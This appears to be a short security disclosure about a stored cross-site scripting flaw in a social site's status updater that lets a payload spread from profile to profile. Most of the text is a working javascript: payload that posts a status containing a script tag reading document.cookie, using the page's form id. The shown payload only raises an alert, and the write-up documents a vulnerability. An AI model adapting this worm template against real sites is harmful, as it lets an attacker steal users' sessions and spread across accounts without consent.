Seems to be able to spread via automated status messages.  When
another user sees the hijacked status message, they are likely to
execute the status updater payload as well, which then spreads to
anyone else who can see those status updates.  This document.cookie
payload is benign.  Emulation is achieved by pasting the payload below
into Firefox while on the profile.php page...

javascript:var p='profile_id='+document.getElementById('profile_id').value+'&status=<script>alert(document.cookie);</script>'+'&profile=true'+'&test_name=INLINE_STATUS_EDITOR'+'&action=OTHER_UPDATE'+'&post_form_id='+document.getElementById('post_form_id').value;hr=new
XMLHttpRequest();hr.overrideMimeType('text/html');hr.open('POST',
'updatestatus.php', true);hr.setRequestHeader('Content-type',
'application/x-www-form-urlencoded');hr.setRequestHeader('Content-length',
p.length);hr.setRequestHeader('Connection', 'close');hr.send(p);
